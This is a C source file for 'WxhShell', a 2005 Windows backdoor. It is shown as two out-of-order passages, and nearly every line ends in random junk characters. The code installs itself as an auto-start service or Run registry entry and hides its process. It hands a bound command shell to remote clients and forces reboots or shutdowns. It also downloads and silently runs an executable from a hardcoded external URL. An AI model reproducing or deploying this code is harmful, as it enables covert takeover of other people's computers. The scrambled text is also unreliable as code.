    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /g!', r,  
    if(Boot(REBOOT)) 'e>0*hF[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e'zG=  
    else { wg=ge]E5  
    closesocket(wsh); beYaQz/@W  
    ExitThread(0); %<8lLRl  
    } 5)GO  
    break; C_= WL(  
    } /uzU]3KF~  
  // 关机 V}kZowWD  
  case 'd': { G? "6[w/p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0xM\+R~,  
    if(Boot(SHUTDOWN)) 0"L_0 t:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I vQ]-A}N  
    else { zj^Ys`nl  
    closesocket(wsh); (TV ye4Z  
    ExitThread(0); ,$96bF "#  
    } IPoNAi<b  
    break; 3R[5prE<  
    } Q0_UBm^f  
  // 获取shell jdGoPa\  
  case 's': { IOsitMOX:  
    CmdShell(wsh); +idj,J|  
    closesocket(wsh); *s9 +  
    ExitThread(0); xCMcS~ 3/  
    break; @4D$Xl  
  } t .&YD x  
  // 退出 RS~jHwIh  
  case 'x': { ^U.8grA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y\ len  
    CloseIt(wsh); bCF"4KXK  
    break; [g:ZIl4p\P  
    } q]Cmaf(  
  // 离开 @<tkwu  
  case 'q': { mRw &^7r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SAt{At  
    closesocket(wsh); fKMbOqU_  
    WSACleanup(); Dxu2rz!li-  
    exit(1); &JM|u ww?1  
    break; FaC;vuSpy  
        } M3350  
  } S3u>a\  
  } '8v^.gZ  
~JsTHE$F  
  // 提示信息 Ax4nx!W,   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '@h5j6:2  
} YAqv:  
  } 1O0o18'  
3EN?{T<yf  
  return; 'dp3>4  
} A7|!&fi  
wvum7K{tI  
// shell模块句柄 c@%:aiEl  
int CmdShell(SOCKET sock) F{a--  
{ y8uB>z+#+;  
STARTUPINFO si; t/\J  
ZeroMemory(&si,sizeof(si)); iXt >!f*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gf^"s fNk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @54D<Lj  
PROCESS_INFORMATION ProcessInfo; MMglo3  
char cmdline[]="cmd"; jiMI&cl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^9 gFW $]  
  return 0; *4;MO2g  
} VQO6!ToKY  
*wcb5p  
// 自身启动模式 o[W7'1O  
int StartFromService(void) vd>X4e ^j  
{ ^<#08L;  
typedef struct _ 6"!y ]Q  
{ 0!YB.=\{_q  
  DWORD ExitStatus; _4VF>#b  
  DWORD PebBaseAddress; G/Nb@pAy[  
  DWORD AffinityMask; ixZ w;+h  
  DWORD BasePriority;  q[#2`  
  ULONG UniqueProcessId; L\--h`~YU  
  ULONG InheritedFromUniqueProcessId; &{?*aK&%3l  
}   PROCESS_BASIC_INFORMATION; Cvr?%+)$M  
q$Z.5EN  
PROCNTQSIP NtQueryInformationProcess; 2XubM+6  
4i>sOP3 B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K'EGm #I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )2KQZMtgm]  
| -l)$i@  
  HANDLE             hProcess; y-qbK0=X4  
  PROCESS_BASIC_INFORMATION pbi; ^T83E}  
s)ymm7?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7{ zkqug  
  if(NULL == hInst ) return 0; 5_@ u Be~  
sBGYgBu!a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ly1V@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o qa]iBO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E(F<shT#  
y#Je%tAe 2  
  if (!NtQueryInformationProcess) return 0; h0ufl.N_%  
(a0q*iC%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5T)qn`%  
  if(!hProcess) return 0; y -j3d)T  
O)78 iEXi|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _Gv[ D  
7jIye8Zi8  
  CloseHandle(hProcess); S3rN]!B+  
<RfPd+</  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }=CL/JHz  
if(hProcess==NULL) return 0; ?z>7&  
E?1"&D m  
HMODULE hMod; kXGJZ$  
char procName[255]; ;*K@8GnU  
unsigned long cbNeeded; 1Uzsw  
>6ul\xMU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v|:2U8YREf  
eHUr!zH:  
  CloseHandle(hProcess); \^O#)&5 V  
WVUa:_5{  
if(strstr(procName,"services")) return 1; // 以服务启动 c+:LDc3!Gb  
m%Ah]x;  
  return 0; // 注册表启动 K]4XD1n7  
} +.gM"JV  
RN(>37B3_  
// 主模块 TxL;qZRY ^  
int StartWxhshell(LPSTR lpCmdLine) ;fLYO6  
{ x _&=IyU0j  
  SOCKET wsl; +cS%b}O`$  
BOOL val=TRUE; -F.A1{l[.  
  int port=0; '|mVY; i[  
  struct sockaddr_in door; ))Ws{  
d7 )&Z:  
  if(wscfg.ws_autoins) Install(); %a- *Ku  
f;1DhAS  
port=atoi(lpCmdLine); %c[Q_  
7#K%Bo2pG  
if(port<=0) port=wscfg.ws_port; j{00iA}  
!;'#f xW[  
  WSADATA data; >*#clf;@p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d1YE$   
%Q9 iR5?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !QK ~l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *7.EL`8  
  door.sin_family = AF_INET; 6%  +s`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `NIc*B4q.  
  door.sin_port = htons(port); T~B'- >O  
o4I&?d7;"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |DAe2RK  
closesocket(wsl); > <cK  
return 1; 1<Fh aK  
} (#6E{@eq  
rO8Q||@>A  
  if(listen(wsl,2) == INVALID_SOCKET) { NHKIZx8sR  
closesocket(wsl); kkfwICBI  
return 1; Q2[@yRY/z  
} "Uy==~  
  Wxhshell(wsl); )aY^k|I  
  WSACleanup(); n{oRmw-  
+3B^e%`NPm  
return 0; &w@~@]  
fAMJFHW  
} e_3KNQ`kA  
r,^}/<*  
// 以NT服务方式启动 A#&Q(g\YE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ="fq.Tt  
{ !FwR7`i  
DWORD   status = 0; @@$%+XNY  
  DWORD   specificError = 0xfffffff; |~Q`D dkX  
# 3{g6[Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >Xz P'h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +^!;J/24  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HD"Pz}k4  
  serviceStatus.dwWin32ExitCode     = 0; mQ#E{{:H+  
  serviceStatus.dwServiceSpecificExitCode = 0; >y<yFO{  
  serviceStatus.dwCheckPoint       = 0; K}^Jf ;  
  serviceStatus.dwWaitHint       = 0; vwZd@%BO  
S,&tKDJn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GtZkzVqLd  
  if (hServiceStatusHandle==0) return; =*f>vrme  
WH Zz?|^  
status = GetLastError(); @bu5{b+8  
  if (status!=NO_ERROR) yxfV|ox  
{ - zaqL\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E8]PV,#xY  
    serviceStatus.dwCheckPoint       = 0; 2q2;Uo`"S.  
    serviceStatus.dwWaitHint       = 0; x!rHkuH~  
    serviceStatus.dwWin32ExitCode     = status; { bjK(|  
    serviceStatus.dwServiceSpecificExitCode = specificError; ni @Mqb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); CV <@Rgoa  
    return; 6*@\Qsp615  
  } "52nT  
mG,%f"b0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oS'M  
  serviceStatus.dwCheckPoint       = 0; bJ8~/d]+  
  serviceStatus.dwWaitHint       = 0; DwTqj=l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @D.]PZf  
} 1iOQ8hD  
MZ_+doN  
// 处理NT服务事件,比如:启动、停止 j!c[$;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {4\hxyw  
{ N_jCx*.G  
switch(fdwControl) r Ntc{{3_  
{ {bF95Hs-  
case SERVICE_CONTROL_STOP: .;gK*`G2W)  
  serviceStatus.dwWin32ExitCode = 0; ;1Kxqp z_i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IT \Pj_  
  serviceStatus.dwCheckPoint   = 0; oYWcX9R  
  serviceStatus.dwWaitHint     = 0; $#V ^CmW.  
  { <,S0C\la=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i?^C c\gH  
  } RZykwD(  
  return; g=?KpI-pn0  
case SERVICE_CONTROL_PAUSE: USVM' ~p I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :P$I;YY=A  
  break; 5H_%inWM  
case SERVICE_CONTROL_CONTINUE: 'TPRGX~&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; % I]?xe6  
  break; y]OW{5(  
case SERVICE_CONTROL_INTERROGATE: x~."P*5  
  break; B!jINOg  
}; [ e4)"A"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !x9j~D'C`  
} 9g" 1WZ!  
&dSw[C#f  
// 标准应用程序主函数 {},rbQ -  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zdA:K25"  
{ c"+N{$ vp  
]Y[8|HJ8  
// 获取操作系统版本 v2<roG6.V  
OsIsNt=GetOsVer(); ^ K8JE,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m,n V,}@J  
Fjc+{;x  
  // 从命令行安装 \6B,\l]$t@  
  if(strpbrk(lpCmdLine,"iI")) Install(); e=t?mDh#E  
\mZ\1wzn'{  
  // 下载执行文件 uNLB3Rdy}  
if(wscfg.ws_downexe) { [c?']<f4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [P*3ld,,G%  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZIAiVq2)  
} !M~p __  
t;+6>sTu  
if(!OsIsNt) { QjfQoT F  
// 如果时win9x,隐藏进程并且设置为注册表启动 |Iy55~hK`  
HideProc(); OwGl&  
StartWxhshell(lpCmdLine); t/cj z/]  
} (sw1HR  
else =+gp~RR,  
  if(StartFromService()) NF=FbvNe  
  // 以服务方式启动 /p') u3  
  StartServiceCtrlDispatcher(DispatchTable); $;*YdZ`q  
else l79jd%/m  
  // 普通方式启动 q>&F%;q1]  
  StartWxhshell(lpCmdLine); ?r@euZ&  
~B%EvG7:n  
return 0; N}\Da: _  
} !l'Az3'J|  
|dNtM^  
ZNPzQ:I@  
x_Ki5~w5  
=========================================== :=04_5 z  
8eP2B281  
"fLGXbNQ  
[d!C6FT  
@18@[ :d"  
xM%E;  
" {xt<`_R  
yy?|q0  
#include <stdio.h> ] K7>R0  
#include <string.h> ?Gl'-tV  
#include <windows.h> EU,4qO  
#include <winsock2.h> 6<H[1PI`,G  
#include <winsvc.h>  e4NT  
#include <urlmon.h> @6GM)N\{[  
sTqy-^e7  
#pragma comment (lib, "Ws2_32.lib") +7<{yP6wU  
#pragma comment (lib, "urlmon.lib") _u}v(!PI  
L{2\NJ"+u  
#define MAX_USER   100 // 最大客户端连接数 t Zj6=#  
#define BUF_SOCK   200 // sock buffer #ITx[X89|  
#define KEY_BUFF   255 // 输入 buffer 0c1}?$f[?%  
$XFG1?L!  
#define REBOOT     0   // 重启  49 3ik  
#define SHUTDOWN   1   // 关机  Xvs{2  
5fb,-`m.  
#define DEF_PORT   5000 // 监听端口 ]^gD@].  
}M/w 0U0o  
#define REG_LEN     16   // 注册表键长度 y{ 90A  
#define SVC_LEN     80   // NT服务名长度 o<-%)#e  
'xb|5_D  
// 从dll定义API VO(Ck\i}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iyOd&|.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I(Nsm3L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lGPC)Hu{`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S^)r,cC  
<E@ 7CG.=  
// wxhshell配置信息 GMU<$x8o  
struct WSCFG { h. i&[RnX  
  int ws_port;         // 监听端口 LH 4-b-  
  char ws_passstr[REG_LEN]; // 口令 L5yxaF{]  
  int ws_autoins;       // 安装标记, 1=yes 0=no N(&FATZUW  
  char ws_regname[REG_LEN]; // 注册表键名 Yx&cnDx  
  char ws_svcname[REG_LEN]; // 服务名 J+\F)k>r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,@='.Qs4g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8<P$E!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2xe_Q70II  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B\|>i~u(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TFxb\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T9Vyj3!i_  
j`BF k>  
}; Vu\|KL|  
B<1*p,z  
// default Wxhshell configuration A&9l|b-"  
struct WSCFG wscfg={DEF_PORT, ~J<bwF  
    "xuhuanlingzhe", n{BC m %  
    1, ejo4mQ]a  
    "Wxhshell", j)-D.bY0  
    "Wxhshell", ZX-9BJ`Q  
            "WxhShell Service", jT: :o  
    "Wrsky Windows CmdShell Service", (6+6]`c$  
    "Please Input Your Password: ", 8fM}UZI  
  1, @hzQk~Gdi  
  "http://www.wrsky.com/wxhshell.exe", H.idL6*G  
  "Wxhshell.exe" P+}qaup  
    }; q'(WIv@  
!+ uMH!  
// 消息定义模块 'dWJ#9C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qoZ*sV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6j"(/X|Ex5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +8^9:w0}  
char *msg_ws_ext="\n\rExit."; [=U7V;5($  
char *msg_ws_end="\n\rQuit."; 20?i4h_  
char *msg_ws_boot="\n\rReboot..."; =_":Z!_  
char *msg_ws_poff="\n\rShutdown..."; V2VsJ  
char *msg_ws_down="\n\rSave to "; h!K B%4V  
IJ4"X#Q/  
char *msg_ws_err="\n\rErr!"; %- A8`lf<  
char *msg_ws_ok="\n\rOK!"; {+xUAmd  
u~s'<c+8_  
char ExeFile[MAX_PATH]; dt`L}Yi  
int nUser = 0; =AD/5E,3  
HANDLE handles[MAX_USER]; %4 SREq  
int OsIsNt; 3]N}k|lb%  
M8[YW|VkP  
SERVICE_STATUS       serviceStatus; @O45s\4-*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \=N tbBL$[  
S OK2{xCG  
// 函数声明 9Biw!%a  
int Install(void); Dx <IS^>i  
int Uninstall(void); !FSraW2  
int DownloadFile(char *sURL, SOCKET wsh); &]LwK5SR  
int Boot(int flag); H&03>.b  
void HideProc(void); |Y'$+[TE  
int GetOsVer(void); K6Gc)jp:b  
int Wxhshell(SOCKET wsl); ,6M-xSDs  
void TalkWithClient(void *cs); ,j_{IL690  
int CmdShell(SOCKET sock); &us8,x6yg  
int StartFromService(void); _5`M( ;hL2  
int StartWxhshell(LPSTR lpCmdLine); Ep?a>\  
"~V}MPt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B4|`Z'U#;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HO@T2t[  
V)@MM2,  
// 数据结构和表定义 QK?5)[ J  
SERVICE_TABLE_ENTRY DispatchTable[] = JG( <  
{ w4x8 Sre  
{wscfg.ws_svcname, NTServiceMain}, mKsj7  
{NULL, NULL} Ki=7nKs  
}; '|d (<.[  
`%ENGB|  
// 自我安装 O"#`i{^?2  
int Install(void) Q?"[zX1  
{ /6q/`vx@  
  char svExeFile[MAX_PATH]; E`?BaCrG~  
  HKEY key; cEqh|Q  
  strcpy(svExeFile,ExeFile); P);Xke  
rmabm\QY  
// 如果是win9x系统,修改注册表设为自启动 %'=oMbi>i4  
if(!OsIsNt) { Qy70/on9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VuPET  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dt \O7Rjw8  
  RegCloseKey(key); <oXsn.'\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i3%~Gc63  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~qqtFjlG^  
  RegCloseKey(key); J.nVEqLZ  
  return 0; xlwsZm{V  
    } 'I<j`)4`d  
  } L3GJq{t  
} 'D/AL\1{p(  
else { I !(yU  
; zvnDox  
// 如果是NT以上系统,安装为系统服务 /y!Vs`PZ!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,Tz ,)rY  
if (schSCManager!=0) Rke:*(p*n;  
{ 8@A[ `5  
  SC_HANDLE schService = CreateService :9`1bZ?a  
  ( IWWFl6$-  
  schSCManager, kdHql>0  
  wscfg.ws_svcname, ZGbZu  
  wscfg.ws_svcdisp, ZH}NlEn  
  SERVICE_ALL_ACCESS, uLCU3nI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'pe0Q-  
  SERVICE_AUTO_START, Za f)  
  SERVICE_ERROR_NORMAL, ua[\npz5  
  svExeFile, V8sY7QK=  
  NULL, q@sH@-z4]  
  NULL, X3-1)|g !z  
  NULL, z8!u6odu %  
  NULL, _@p|A  
  NULL ' " tieew  
  ); d+;wDu   
  if (schService!=0) BE+Y qT  
  { YHA[PF   
  CloseServiceHandle(schService); {Psj#.qP1  
  CloseServiceHandle(schSCManager); \'EWur"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~ZNhU;%YW  
  strcat(svExeFile,wscfg.ws_svcname); y?JbJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yJL"uleRT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p)jxqg  
  RegCloseKey(key); AFFLnLA<L  
  return 0; ]Bsq?e^  
    } .UYpPuAkn  
  } w7D:0SGD  
  CloseServiceHandle(schSCManager); 6,)y{/ENC  
} 2)A D'  
} S|J8:-  
bVx]r[  
return 1; IYO,/ kbf  
} CHU'FSq!  
**q/'K  
// 自我卸载 %PS-nF7v  
int Uninstall(void) A;!FtD/  
{ bS'r}  
  HKEY key; )q^vitkjup  
^pjez+  
if(!OsIsNt) { 2o$8CR;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %:,=J  
  RegDeleteValue(key,wscfg.ws_regname); UBVb#FNF  
  RegCloseKey(key); Ueeay^zN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x-pMT3m\D#  
  RegDeleteValue(key,wscfg.ws_regname); |gVO Iq  
  RegCloseKey(key); ^%d{i'9?  
  return 0; XZInu5(  
  } 3DHm9n+/:  
} xAjQW=  
} gAj)3T@  
else { wuk7mIJ  
9CNHjs+-}s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K_5&_P1  
if (schSCManager!=0) IebS~N E  
{ 5);#\&B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8joQPHkI\  
  if (schService!=0) )ziQ=k6d6  
  { nB5[]x'  
  if(DeleteService(schService)!=0) { *lK4yI*%o  
  CloseServiceHandle(schService); fh_ .J[Y.k  
  CloseServiceHandle(schSCManager); F^YIZ,=p!  
  return 0; %5G BMMn  
  } m%[t&^b}T  
  CloseServiceHandle(schService); FJLJ;]`7+  
  } 9^='&U9sr  
  CloseServiceHandle(schSCManager); MuobMD}jqe  
} R`Lm"5w  
} YfPo"uxx  
 IR LPUP  
return 1; E(tBN]W.  
} )sf~l6  
{h"\JI!  
// 从指定url下载文件 @__;RVQ  
int DownloadFile(char *sURL, SOCKET wsh) Nd_@J&  
{ F[ EblJ  
  HRESULT hr; ymZ/(:3_  
char seps[]= "/"; { +2cRr.  
char *token; tTGK25&  
char *file; >bN~p  
char myURL[MAX_PATH]; (UF!Zb]{  
char myFILE[MAX_PATH]; Gme$FWa  
DANSexW  
strcpy(myURL,sURL); Q: O>kCDV  
  token=strtok(myURL,seps); RfBb{?PP)  
  while(token!=NULL) |y% ].y)  
  { ~TH5>``;gF  
    file=token; `yAo3A9vk  
  token=strtok(NULL,seps); M0SH-0T;Z  
  } pV6HQ:y1  
4w( vRe  
GetCurrentDirectory(MAX_PATH,myFILE); IxZ.2 67  
strcat(myFILE, "\\"); @;fE%N  
strcat(myFILE, file); N1~V +_mM  
  send(wsh,myFILE,strlen(myFILE),0); "Y]ZPFh#.  
send(wsh,"...",3,0); EQ7n'Wqq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5j,qAay9  
  if(hr==S_OK) CS\tCw\Y  
return 0; C 94@YWs  
else nV3 7` I  
return 1; L~{Vt~H9"  
&H&P)Px*_  
} !>< %\K  
r ` &|)Hx  
// 系统电源模块 yim$y, =d  
int Boot(int flag) 50ew/fZj|  
{ aNC,ccm  
  HANDLE hToken; :bRR(sP  
  TOKEN_PRIVILEGES tkp; Kk>qgi$  
5\0.[W{^  
  if(OsIsNt) { _IV@^v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `Kw"XGT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4E-A@FR  
    tkp.PrivilegeCount = 1; *ZR@ z80i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AaYrVf 9!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TucAs 0-bF  
if(flag==REBOOT) { 8Wx@[!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Om2X>/V%C  
  return 0; _P<lG[V  
} KWJgW{{v  
else { C9U {^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +;*(a3Gp  
  return 0; 18"VB50b}  
} 2nU NI U  
  } D}/=\J/  
  else { Hu9R.[u  
if(flag==REBOOT) { lF8 dRIav  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o,Zng4NY  
  return 0; i!W8Q$V  
} ]cqZ!4?_  
else { z|]oM#Gt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !mxh]x<e  
  return 0; o9LD6$  
} 1O2h9I$bk  
} F|Dz]ar  
]jVSsSv  
return 1; bp>ps@zFq  
} ; G59}d p~  
^ wF@6e7/&  
// win9x进程隐藏模块 Q^Z<RA(C  
void HideProc(void) #* gU[9U~  
{ _'hCUXeY'  
KTK6#[8A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V2s}<uG  
  if ( hKernel != NULL ) gQh Ccv  
  { reM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cF&h$4-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UW/3{2  
    FreeLibrary(hKernel); H'0*CiHes  
  } Kt 90mA  
l?JO8^Nn  
return; jqGo-C~  
} 4 ?@uF[  
aT1CpY=T|.  
// 获取操作系统版本 ah/6;,T  
int GetOsVer(void) Hx2j=Q_dw  
{ vYSetAd v  
  OSVERSIONINFO winfo; 6Sb'Otw.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ef`5fgp? S  
  GetVersionEx(&winfo); sK 1m9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {1@4}R4  
  return 1; 3 2 1={\X  
  else 2Ph7qEBQ22  
  return 0; a4jnu:e  
} KBr5bcm4u  
Wt+y-ES  
// 客户端句柄模块 cUZ!;*  
int Wxhshell(SOCKET wsl) loC5o|Wh  
{ 7c29Ua~[  
  SOCKET wsh; 4ljvoJ}xjr  
  struct sockaddr_in client; ]\a\6&R  
  DWORD myID; \buZ?  
<Sprp]n 7  
  while(nUser<MAX_USER) zK>'tFU  
{ \Qi#'c$5+a  
  int nSize=sizeof(client); [  t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |.8d,!5w}  
  if(wsh==INVALID_SOCKET) return 1; kg?T$}O  
11B{gUv.]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [^U;  
if(handles[nUser]==0) pKxX{i1l  
  closesocket(wsh); y/@;c)1b9  
else sw$R2K{y  
  nUser++; Z9"{f)T  
  } r%TLv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8)W?la8'p  
^/%o%J&Hz  
  return 0; 17 i<4f#  
} z<o E!1St  
TRk ?8  
// 关闭 socket co<2e#p;  
void CloseIt(SOCKET wsh) 4aalhy<j  
{ ^fE\S5P  
closesocket(wsh); @jE d%W  
nUser--; } T/}0W]0  
ExitThread(0); (RDa,&  
} rysP)e  
)e|$K= D  
// 客户端请求句柄 k+WO &g*|  
void TalkWithClient(void *cs) *#Lsjk~_-  
{ ^ J#?hHz  
^I(oy.6?=p  
  SOCKET wsh=(SOCKET)cs; #JL&]Z+X6  
  char pwd[SVC_LEN]; bl" (<TM  
  char cmd[KEY_BUFF];  ko=aa5c  
char chr[1]; vz;7} Zj]  
int i,j; A*\o c  
tA! M  
  while (nUser < MAX_USER) { 79{.O`v  
;#Jq$v)D  
if(wscfg.ws_passstr) { J.bF v/R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0<]$v"`I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7m|`tjQ1  
  //ZeroMemory(pwd,KEY_BUFF); F@=e2e 4  
      i=0; }[>RxHd  
  while(i<SVC_LEN) { 1P[I}GW#  
2 ?Pt Z  
  // 设置超时 Q$xa  
  fd_set FdRead; Em~7D ]Y  
  struct timeval TimeOut; V17>j0Ev$W  
  FD_ZERO(&FdRead); 9tzoris[~  
  FD_SET(wsh,&FdRead); }zkL[qu;  
  TimeOut.tv_sec=8; c!\.[2n  
  TimeOut.tv_usec=0; jw/'*e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <=;H[} e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w8 ?Pb$Fe  
mP9cBLz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q Z8|B  
  pwd=chr[0]; G0I~&?nDa  
  if(chr[0]==0xd || chr[0]==0xa) { TJHN/Z/  
  pwd=0; 8%;}LK  
  break; <Jwi ~I=^  
  } z>cIiprX  
  i++; F^.om2V|9  
    } ki;!WhF~  
B;xZ% M]  
  // 如果是非法用户,关闭 socket iEiu%T>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W<\kf4Y  
} TpJg-F  
Zg)_cRR   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u:_sTfKm&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [NHg&R H  
RDUT3H6~  
while(1) { e1^fUOS  
E:08%4O  
  ZeroMemory(cmd,KEY_BUFF); ad"'O]  
\@Ee9C 13  
      // 自动支持客户端 telnet标准   p&i. )/  
  j=0; J"%8:pL  
  while(j<KEY_BUFF) { %==G+S{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N7e`6d!  
  cmd[j]=chr[0]; <\ y!3;  
  if(chr[0]==0xa || chr[0]==0xd) { wVx,JL5Jr  
  cmd[j]=0; =LlLE<X"%x  
  break; FWuw/b$  
